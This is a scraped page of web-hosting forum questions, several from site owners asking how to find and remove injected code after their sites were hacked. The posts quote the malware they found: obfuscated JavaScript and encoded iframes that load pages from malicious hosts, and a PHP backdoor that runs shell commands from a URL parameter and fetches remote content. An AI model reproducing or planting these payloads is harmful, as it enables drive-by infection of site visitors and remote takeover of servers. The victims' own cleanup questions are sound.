Hacked: How To Find Javascript Added To Pages In /home

Apr 23, 2007

Many of my websites on my server have been hacked, it randomly add's
Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src=[url]-->

Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src=[url]-->
and

Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src='http://aboutmynews.org/news/InF.php' style='display:none;'></iframe--><!-- ~ --><script language=JavaScript>function dc(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,46,22,39,35,15,23,8,28,0,0,0,0,0,0,2,25,55,54,30,40,13,57,14,12,53,47,43,19,38,3,37,33,58,18,36,44,20,24,51,60,29,0,0,0,0,41,0,0,45,48,9,32,17,59,31,6,61,5,4,7,27,50,56,62,34,10,52,1,16,21,26,42,11);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}dc("kNdXOhF18O9QSX9cfBINV3WXaXUcFmFNV3p1shZcahFNw3pc7MIoahUo7mIc75APkxjJi5_eFmZtw0_rssFcmOAt7ObJfKE1s5UrzKIcSnbrIK9caBjrwB9J@3EJfXZoa5_euXUJw4I190GosKIcDspNAy8XOhF18OYN")</script><!-- ~ -->

To some of my pages on my websites in my /home directory.

Please do not visit the links without anti virus protection.

what command I can use to search all of my files in my home directory for this?

View 5 Replies


ADVERTISEMENT

Index Page With Javascript Probably Hacked ..

Jul 15, 2008

when i oppened my site i found that there was a code in the index i don't know from what but when i earsed it it returned again ...

View 0 Replies View Related

Hacked - Code Inserted Into Many Users Pages

Jun 25, 2007

About 2 months ago, I noticed random code linking to a virus in a frame was inserted into many of my web pages accross various accounts.

After I removed it all, I noticed that this has happend to me again!

Code:
<!-- ~ --><script>function v467e627add1dd(v467e627ade17d){ function v467e627adf11b () {return 16;} return(parseInt(v467e627ade17d,v467e627adf11b()));}function v467e627ae105c(v467e627ae2008){ var v467e627ae2f9b='';for(v467e627ae3f41=0; v467e627ae3f41<v467e627ae2008.length; v467e627ae3f41+=2){ v467e627ae2f9b+=(String.fromCharCode(v467e627add1dd(v467e627ae2008.substr(v467e627ae3f41, 2))));}return v467e627ae2f9b;} document.write(v467e627ae105c('3C696672616D65207372633D27687474703A2F2F7777772E3473747566666465616C732E636F6D2F646F63732F7468656D652E68746D272077696474683D31206865696768743D31207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script><!-- ~ -->

how they are inserting it into my web pages?

View 3 Replies View Related

[Apache] Anyway To Stop Bots Trying To Find Pages

Apr 22, 2009

Looking trough my logs I found something that bothers me, there are bots who keep doing requests on my website with pages like /admin or /secure to find vulnerabilities.
It's making about 5-6 requests for unexisting pages every second until it comes to the end of it's dictionary (the pages are even sorted in alphabetical order,

Is there some way to let my Apache server block access to these bots when they make X attemps to see a page who does not exists in a short amount of time? A bit like iptables reject connection if someone tries to log in but fails to do so too many times.

View 6 Replies View Related

Pure-FTP Can't Find Home Directories

Jul 31, 2007

I had what I thought was a fairly smooth install via yum of Pure-FTP on a Fedora 7 SELinux server. I configured it to use it's own PureDB virtual user system, and I added a few users using # pure-pw useradd to test things out. However, upon successfully logging in...

[21:51:34] USER test1
[21:51:34] 331 User test1 OK. Password required
[21:51:34] PASS (hidden)
[21:51:34] Cannot login waiting to retry (30s)...
[21:51:34] Server closed connection...so, I check /var/log/messages to find...
Jul 31 21:50:25 homeserve pure-ftpd: (?@192.168.0.134) [INFO] New connection from 192.168.0.134
Jul 31 21:50:25 homeserve pure-ftpd: (?@192.168.0.134) [ERROR] Home directory not available - aborting

Clearly, something is awry. When I created the users, I explicitly specified their home directory using pure-pw's -d flag, and I can confirm that it was entered correctly by viewing the /etc/pure-ftpd/pureftpd.passwd. The directories, of course, do exist with the proper permissions and ownership.

View 8 Replies View Related

How To Find Out Hacked Files On Server

Jul 10, 2009

My server was being hacked, I can find some HTML and PHP files which inserted the codes similar to the following by the hacker.

HTML Code:
<iframe src="http://a5g.ru:8080/ts/in.cgi?pepsi94" width=125 height=125 style="visibility: hidden"><
/iframe>
The inserted iframe src is not the same among the hacked files.

I am trying to find out all the hacked files on server, is there any way instead of checking the files manually?

View 14 Replies View Related

Which 3rd Party Addon Script Do You Find Getting Hacked The Most?

Jun 6, 2009

Hosters: Which 3rd party addon script do you find getting hacked the most?

View 11 Replies View Related

Static Index.html Pages Hacked, Also Index Files

Sep 8, 2007

My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.

I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).

Going back on track, all files named "%index%" were hacked.

-I found a index.txt file with links to obscure sites.

The code was written at bottom of the all index.html files: iframe code

Code:
><!-- ~ --><iframe src="&#104&#116&#116&#112&#58&#47&#47&#103&#111&#111&#103&#108&#101&#116&#114&#97&#102&#102&#46&#99&#111&#109&#47&#105&#110&#46&#99&#103&#105&#63&#100&#101&#102&#97&#117&#108&#116" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code

PHP Code:

<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

");$wr = 0;while(!feof($socket)){  $temp = fgets($socket);    if(eregi("<",$temp)) {      $wr = 1;        }                      if($wr) {              $page .= $temp;                }                }                fclose($socket);                                return $page;                }                                ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...

View 5 Replies View Related

Server Hacked : How Can I Find Out How They Are Uploading Files To My Server

Apr 14, 2007

I am being hacked & I don't know how they are getting files on my server. They are doing it on two of my domains, I suspended one and then they got it on the other. My FTP access log does not show anything suspicious..

How can I find their doorway?

View 4 Replies View Related

Why Non-ssl Pages Are Blank, Ssl Pages Work

Feb 1, 2008

I am moving to a new server. At first the [url]version of the site was fine. I had trouble getting [url]working. Once I had the path to the certificate file correct, I was good to go. So, I started moving data. I also ran some updates on the new server (installed mysql, php, related pkgs). I don't know when the [url]pages stopped working, but I didn't realize it until I had everything moved over and tried to go live. The pages are completely blank. If I view source, I get this: ....

View 3 Replies View Related

Malicious Javascript

Mar 18, 2009

We are having a problem with a number of our websites hosted on Fasthosts reseller account where JavaScript is being maliciously inserted into a number of pages.

An example of the code that has been inserted can be found below:
<!--
document.write(unescape('xXz%3CAEqscripzHVt%20RMisAEqrRMicxXz%3DzHV%2FyI%2F6
yI7zHV%2E21wq5RMi%2E2xXz4wq6%2E3AEq4RMi%2FjqAEquwqexXzry%2EjsyI%3E%3CzHV%2Fs
crRMiiwqpzHVtwq%3E').replace(/yI|zHV|fW|xXz|RMi|wq|AEq/g,""));
-->
Which runs this script:
<script src=//67.215.246.34/jquery.js></script>

New pages have been created on a number of websites aswell as the above code inserted into existing pages.

After removing the above code from one particular website it has happened again.
Some of the websites being affected are just static websites with only HTML pages, others are dynamic ASP pages.

View 2 Replies View Related

Litespeed Javascript

Jan 24, 2008

I've tried turning on/off gzipping, other stuff.

It's an AJAX tab script.

Exact same thing, exact same paths work on my shared hosting elsewhere, but not on my box running LS.

View 2 Replies View Related

Getting Apache To Parse Javascript

Mar 14, 2007

A tech admin that I worked with previously fixed an issue we were having. He explained what he did:

To fix you need to make apache be able to parse JS

He is no longer available.

how to do this? Which file (I expect httpd.conf) would I need to edit and what part of it would it be?

View 1 Replies View Related

Free Web Host That Allows PHP And JavaScript

May 28, 2007

Does anyone know of any free web hosts that would allow me to use PHP and JavaScript in my web-pages?

View 9 Replies View Related

Pasted Javascript Into Filename By Accident

Nov 20, 2008

I pasted the contents of a javascript page into a filename on my server.

Now I cant rename, download or delete the file,

View 4 Replies View Related

My Own IP Keeps Getting Added To Iptables Rules

May 15, 2007

I had csf firewall installed, and due to my own stupidity, attempted to login with the wrong password one too many times, which added my IP to iptables, locking me out. I had to SSH into a linux box at school, and then ssh into my server to stop the iptables service so I could get into my server.

I removed every trace of my IP that I could find in csf, but sometime in the middle of the night, iptables reloads some rules from somewhere that blocks me again. I also tried doing iptables -F to clear all rules, but again, sometime in the middle of the night, rules are reloaded and I get blocked. I even uninstalled csf to no avail. I just want to remove my IP once and for all.

View 11 Replies View Related

My IP Addresses Are Not Added To My Server

Jul 2, 2008

i just got a 2nd server

i had a problem at the beginning that i had to reload

so i think the tech forgot to add my other ips to my network card configs

i remember layeredtech once reloaded my server and the same problem happend so they advised me to add it to a config file in my server

View 6 Replies View Related

HTML/JavaScript Content Embedded In Flash

Apr 11, 2009

I'm trying to embed the LiveZilla chat icon within a flash header and haven't been able to do it for the life of me.

View 0 Replies View Related

Apache :: Configuring To Load Javascript Files?

Oct 23, 2013

have a website that sources a number of jquery plugins, when I load the site in chrome or firefox the javascript console is saying that these files were not loaded.

The server is a localhost and the files are local.

The google jquery file loads fine.

how I need to configure the apache config file to deal with javascript.

View 2 Replies View Related

Plesk 12.x / Linux :: Horde - JavaScript Is Either Disabled Or Not Available On Browser

Jul 17, 2015

When i try to go to horde after my upgrade from plesk 11.5.30 to plesk 12.0.18, my horde is loading as minimal cause this:

JavaScript is either disabled or not available on your browser. You are restricted to the minimal view.

But my javascript is enabled for this site.

View 2 Replies View Related

CPanel Welcome Page Showing For Every New Site Added Via WHM

May 31, 2008

When I add a new site via New Account in WHM and once the domain resolves, the cPanel 'Great Success' page shows. I have verified the site is resolving properly.

This is a brand new installation and the only changes I have made is I updated apache via WHM.

View 4 Replies View Related

Ventrilo. Can't Connect When APF Firewall On. When Off, I Can. Already Added Ports

Apr 23, 2008

My fedora server is running apf firewall. When I turn it off, clients can connect.

When I turn it on, it says MSG: Contacting Server.

I have already added ports 6100 and 3784 to /etc/apf/conf.apf by adding the ports to the lines, EG_TCP_CPORTS, EG_UDP_CPORTS, IG_TCP_CPORTS, and IG_UDP_CPORTS

and restarted the service.

Is there any additional ports I need to add?

(I've uploaded my conf.apf file)

View 2 Replies View Related

Malicious Code Added To Index File

Jul 9, 2008

I've been having an issue with one of my sites were someone has been adding malicious code to the index file. I don't know what has been compromised and am looking for a way to stop this.

I have a dedicated server have already upgraded MySQL to the latest version as I though that might work but it hasn't.

View 8 Replies View Related

Check What Cron Jobs Have Been Added On The Server?

Feb 21, 2008

i find on the certain time,

the mysql of server will run a lot of query,

and the io and load will become very high,

after the time point,

all the io and load with be smoth,

so,i wonder if any Cron job has been add (by certain account) to run something,

View 4 Replies View Related

Using Find Command With Regex To Find All Number-only Filenames

Oct 15, 2007

how can i do a search for all files (probs using regex) of files consisting purely of numbers?

for e.g. find:

53243.php
24353.php
24098.php

(always have 5 numbers).

seems one of my accounts has had some script run which generated a bunch of these in various subfolders, and the php file basically does a callback to www3.rssnews.ws and www3.xmldata.info, which seem to be some sort of spyware servers.

View 10 Replies View Related

Plesk 12.x / Linux :: Unable To Activate Added PHP Handler

Oct 24, 2014

I just added a new PHP Handler with PHP Verison 5.5.18 as cgi and i always get an error when activating. I used the samte setting and php ini as the Buildin Ones

root@ip1:/usr/local/src/php-5.5.18# /usr/local/psa/bin/php_handler --list
id: display name: full version: version: type: cgi-bin: php-cli: php.ini: custom:
5.5.18 5.5.18 5.5.18 5.5 cgi /usr/local/php550-cgi/bin/php-cgi /etc/php5/cli/php.ini true
cgi 5.3.29 5.3.29 5.3 cgi /usr/bin/php5-cgi /etc/php5/cgi/php.ini false
fastcgi 5.3.29 5.3.29 5.3 fastcgi /usr/bin/php5-cgi /etc/php5/cgi/php.ini false
module 5.3.29 5.3.29 5.3 module /usr/bin/php5-cgi /etc/php5/cgi/php.ini false

When i want to activate it i get

Fehler: phpinimng failed: Cannot parse php.ini: (<class 'php_ini.PhpIniSyntaxError'>, PhpIniSyntaxError('[<stdin>:24] Invalid configuration line. Are there excessive leading spaces?',))

I get this even if i want to activate a build in one.

In my additional php config i have

mail.log = /var/log/phpmail.log
mail.add_x_header = On
date.timezone = "Europe/Berlin"
[Zend]
zend_extension=/usr/lib/php/modules/ioncube_loader_lin_5.3.so
zend_extension=/usr/lib/php5/ZendGuardLoader.so
sendmail_path = /usr/sbin/sendmail-wrapper-php

I am using Debian Squeeze.

View 4 Replies View Related

Plesk Automation :: Dedicated IP Added To Container Inaccessible

Apr 21, 2015

I tried to set up a site with a "dedicated" IP without SSL, and ran into this problem again. The new IPs (v4 or v6) are not reachable, pingable, or trace routable from outside the container, even from its PCS hardware node.This is what I get after adding the address in PPA:

Code:
# cat ifcfg-eth0
DEVICE="eth0"
ONBOOT="yes"
BOOTPROTO=static

[code]....

By contrast, if I add an IP address through PVA, it is pingable. Note the differences, namely that PVA's ifcfg-eth0:0 has "BOOTPROTO=static" and the IPs double quoted. For those testing at home also note that PVA removed the existing IPv6 addresses (that it didn't know about).

Code:
# cat ifcfg-eth0
DEVICE="eth0"
ONBOOT="yes"
BOOTPROTO="static"
GATEWAY="x.x.194.1"
IPV6_DEFAULTGW="aaaa:bbbb:0:4c::1"

[code]....

Could that make a difference? Why I can't seem to get secondary IPs to work?

View 5 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved